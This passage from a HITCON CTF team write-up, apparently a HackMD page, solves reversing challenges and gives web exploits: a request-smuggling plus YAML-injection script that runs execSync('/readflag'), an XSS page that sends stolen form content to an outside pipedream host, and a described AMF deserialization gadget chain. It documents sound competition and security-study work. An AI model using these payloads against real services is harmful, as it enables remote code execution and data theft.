0xF9, 0x04, 0x77, 0x44, 0x4D, 0x8D, 0x4A, 0x14, 0x45, 0x8B, 0x42, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x42, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x89, 0x4C, 0x24, 0x28, 0x41, 0x8B, 0x42, 0x0C, 0x89, 0x44, 0x24, 0x20, 0x41, 0x8B, 0x12, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xEF, 0x06, 0x00, 0x00, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x18, 0x00, 0x00, 0x00, 0xE9, 0x94, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x7F, 0x83, 0xFA, 0x18, 0x75, 0x6A, 0x41, 0x8B, 0x4A, 0x10, 0x85, 0xC9, 0x74, 0x59, 0x83, 0xF9, 0x04, 0x77, 0x54, 0x41, 0x8B, 0x52, 0x0C, 0x83, 0xFA, 0x10, 0x72, 0x0E, 0x83, 0xFA, 0x27, 0x77, 0x09, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x56, 0x4D, 0x8D, 0x4A, 0x14, 0x45, 0x8B, 0x42, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x42, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x89, 0x4C, 0x24, 0x28, 0x89, 0x54, 0x24, 0x20, 0x41, 0x8B, 0x12, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x79, 0x06, 0x00, 0x00, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x18, 0x00, 0x00, 0x00, 0xEB, 0x19, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x10, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x07, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0x8B, 0x5F, 0x30, 0x32, 0xD2, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB5, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x48, 0x5F, 0x5B, 0xC3] # copy from CrazyArcade.sys+0x3000 kern_3000 = [0xB7, 0x8A, 0x19, 0x7F, 0x54, 0x2D, 0x81, 0xF0, 0xB8, 0xDD, 0xCA, 0xC9, 0xD3, 0xC3, 0x23, 0x32, 0xBA, 0x41, 0x81, 0xAB, 0x02, 0x53, 0xC9, 0x2E, 0xD6, 0x7E, 0x20, 0xAD, 0xAB, 0xED, 0x95, 0xD2, 0xB6, 0xE7, 0x2A, 0x92, 0x3E] for i in range(0, 0x1337): idx = i % 0x25 v = i ^ kern_3000[idx] ^ kern_1450[i % 0x584] kern_3000[idx] = v & 0xFF for i in range(0, len(kern_3000)): print(chr(kern_3000[i]), end="") ``` ``` hitcon{cr4zy_arc4de_wi7h_vuln_dr1ver} ``` ### LessEQualmore We are given a binary and a text file full of numbers separated by spaces. The binary is rather easy to understand: It reads in the provided input file as `int64` numbers and stores them into memory. Then, some sort of VM is executed with this memory area. The VM only have two operations, each operation has two operands. The first operation `op1(a, b)`, depending on the sign of the operands, either reads in a number, prints the character stored in `mem[a]`, or does `mem[b] -= mem[a]`. The second operation `op2(b, c)` checks if `mem[b] <= 0`, and if so jumps to `c`. With some searching, this is actually an existing esoteric language called `subleq`. So all that's left to do is to figure what these instructions actually do. First, some side-channel analysis tells us that the instruction count only correlates to the flag length, but not the flag characters, and that the flag length most likely is around 64 characters. With some observation, we found that this program is basically using self-modification to achieve branching. Therefore we cannot simply translate it into assembly, and running it directly with symbolic execution engines will probably also lead us nowhere. Luckily, all t ### Full Chain - The Blade The function `seccomp_shell::shell::verify::h898bf5fa26dafbab` is called when we enter the "flag" shell command. We extracted the magic from the shellcode and bruteforced the input byte by byte to get the flag. ``` #!/usr/bin/python3 def ROL(data, shift, size=32): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) chcker_arr = [0xA7, 0x51, 0x68, 0x52, 0x85, 0x27, 0xFF, 0x31, 0x88, 0x87, 0xD2, 0xC7, 0xD3, 0x23, 0x3F, 0x52, 0x55, 0x10, 0x1F, 0xAF, 0x27, 0xF0, 0x94, 0x5C, 0xCD, 0x3F, 0x7A, 0x79, 0x9F, 0x2F, 0xF0, 0xE7, 0x45, 0xF0, 0x86, 0x3C, 0xF9, 0xB0, 0xEA, 0x6D, 0x90, 0x42, 0xF7, 0x91, 0xED, 0x3A, 0x9A, 0x7C, 0x01, 0x6B, 0x84, 0xDC, 0x6C, 0xC8, 0x43, 0x07, 0x5C, 0x08, 0xF7, 0xDF, 0xEB, 0xE3, 0xAE, 0xA4] checker_intarr = [] for i in range(0, len(chcker_arr), 4): checker = chcker_arr[i] | (chcker_arr[i+1] << 8) | (chcker_arr[i+2] << 16) | (chcker_arr[i+3] << 24) checker ^= 0x31f3831f # magic from shellcode checker = ~checker & 0xFFFFFFFF checker = ROL(checker, 0xB) checker ^= 0x746f6f72 # magic from shellcode checker -= 0x464c457f # magic from shellcode checker_intarr.append(checker & 0xFFFFFFFF) chcker_arr = [] for i in range(0, len(checker_intarr)): #print(hex(checker_intarr[i])) chcker_arr.append(checker_intarr[i] & 0xFF) chcker_arr.append((checker_intarr[i] >> 8) & 0xFF) chcker_arr.append((checker_intarr[i] >> 16) & 0xFF) chcker_arr.append((checker_intarr[i] >> 24) & 0xFF) target_idxs = [0, 38, 1, 3, 27, 5, 49, 40, 16, 11, 4, 22, 56, 60, 14, 10, 42, 50, 18, 2, 17, 21, 12, 25, 30, 47, 26, 57, 24, 29, 9, 31, 32, 33, 34, 6, 36, 63, 39, 19, 53, 35, 51, 43, 23, 45, 8, 52, 28, 62, 13, 46, 44, 59, 37, 55, 54, 15, 58, 20, 48, 61, 41, 7] results = [0 for x in range(0, 64)] input = [0] * 64 for target_idx in range(0, len(target_idxs)): for x in range(0, 0x7F): input[target_idxs[target_idx]] = x for n in range(0, 256): i = target_idxs[target_idx] v59 = input[i] + 1 v51 = 1 v52 = 257 v60 = 0 v63 = 0 while True: v62 = v52 v52 = int(v52 / v59) v61 = v62 % v59 v63 = v51 v51 = v60 - v51 * v52 v52 = v59 v59 = v62 % v59 v60 = v63 if v61 == 0: break v64 = 0 if v63 > 0: v64 = v63 input[i] = (int(((v64 + ((v63 & 0xFFFF) >> 15) - v63) & 0xFFFF) / 0x101) + v63 + ((v63 & 0xFFFF) >> 15) + 113) ^ 0x89 input[i] = input[i] & 0xFF if input[target_idxs[target_idx]] == chcker_arr[target_idx]: print("FIND ", chr(x)) results[target_idxs[target_idx]] += x break for i in range(0, len(results)): print(chr(results[i]), end="") ``` ``` hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>} ``` ## web ### Login System ```python= from pwn import * import time import json import string import random import requests HOST = "chal-login-system.chal.hitconctf.com" PORT = 10195 def rand(N): return ''.join(random.choices(string.ascii_uppercase + string.digits, k=N)) AUTH_USERNAME = "aaef41eed2598b25" AUTH_PASSWORD = "896fb035c8d9f71d" AUTH_ENCODED = base64.b64encode((AUTH_USERNAME+":"+AUTH_PASSWORD).encode()) AUTH_HEADER = "Authorization: Basic " + AUTH_ENCODED.decode() print(AUTH_HEADER) headers = {"Authorization": "Basic "+AUTH_ENCODED.decode()} def register(uname, passw): return requests.post(f"http://{HOST}:{PORT}/register", json={"username":uname, "password":passw, "privilegeLevel":"user"}, headers=headers) username = rand(10) +".yaml\x00" username2 = rand(10) password = 99999999999999999999999 print(register(username, password).text) register(username2, password) def change_password(username, password, new_password): r = remote(HOST, PORT) json_for_req = {"username":username, "old_password":password, "new_password":new_password} SMUGGLED_REQUEST = f"""POST /change_password\r Host: localhost:3000\r Accept: */*\r Content-Length: {len(json.dumps(json_for_req))}\r \r {json.dumps(json_for_req)}""" REQUEST = f"""POST /register HTTP/1.1\r Host: localhost:3000\r User-Agent: curl/7.81.0\r Accept: */*\r {AUTH_HEADER}\r Connection: keep-alive\r Content-Type: text/plain\r Transfer-Encoding: chuNked\r \r {hex(len(SMUGGLED_REQUEST))[2:]}\r {SMUGGLED_REQUEST}\r 0\r\n\r """ r.send(REQUEST) r.recvall() print(username) print(username2) change_password(username, password, """99}: 1 privilegeLevel: { toString: !<tag:yaml.org,2002:js/function> "function (){return process.mainModule.require('child_process').execSync('/readflag').toString()}" } access: {'profile': true, register: true, login: true} #""") change_password(username2, password, f""""hackerman", "privilegeLevel":"../../../users/{username[:-6]}"}}/*""") s = requests.Session(); print(s.post(f"http://{HOST}:{PORT}/login", json={"username":username2, "password":"hackerman"}, headers=headers).text) print(s.get(f"http://{HOST}:{PORT}/profile", headers=headers).text) ``` ### Canvas ```python= <html> <body> <canvas id="canvas" width="1" height="1"></canvas> <iframe id="holder" src="https://chal-canvas.chal.hitconctf.com"></iframe> <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } (async () => { await sleep(500); const stage1 = `(function pwn() { if (this.pwned) return; this.pwned = true; const x = new this.Blob(['<html><head><script src="https://chal-canvas.chal.hitconctf.com/worker.js"></scr' + 'ipt></head></html>'], {type: 'text/html'}) const u = this.URL.createObjectURL(x) this.postMessage({type: 'error', content: '<meta http-equiv="refresh" content="1;url=' + u.toString() + '" />'}) })()`; const stage2 = `(function pwn() { if (this.pwned) return; this.pwned = true; this.location.href = 'https://en09wmm9k078r3.x.pipedream.net/' + this.encodeURIComponent(this.window.top.frames[0].document.getElementById("code-form").code.value) })()`; const pwn = document.createElement("iframe"); pwn.src = `https://chal-canvas.chal.hitconctf.com/?code=${encodeURIComponent(stage1)}`; document.body.appendChild(pwn); await sleep(2000); const canvas = document.getElementById("canvas").transferControlToOffscreen(); pwn.contentWindow.postMessage({ type: 'init', canvas: canvas, code: stage2 }, '*', [canvas]); })() </script> </body> </html> ``` ### AMF While deserializing the AMF packet, Py3AMF attempts to load the class from an arbitrary module and create an instance of it by invoking `klass.__new__(klass)` and setting the attributes according to the packet. In case an error occurs, AMF might display the wrong instance in the error message, which could be referred to as that instance's `__repr__`. Therefore, by chaining the gadget in the `__repr__` method of `pip._vendor.distlib.database.DependencyGraph` with the gadget in the `__call__` method of `pyamf.remoting.amf3.RequestProcessor`, we can eventually trigger `cProfile.Profile().run(cmd)`. Exploit: https://gist.github.com/lebr0nli/630005b6f5f87a81ae1823951cc3d5b6

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully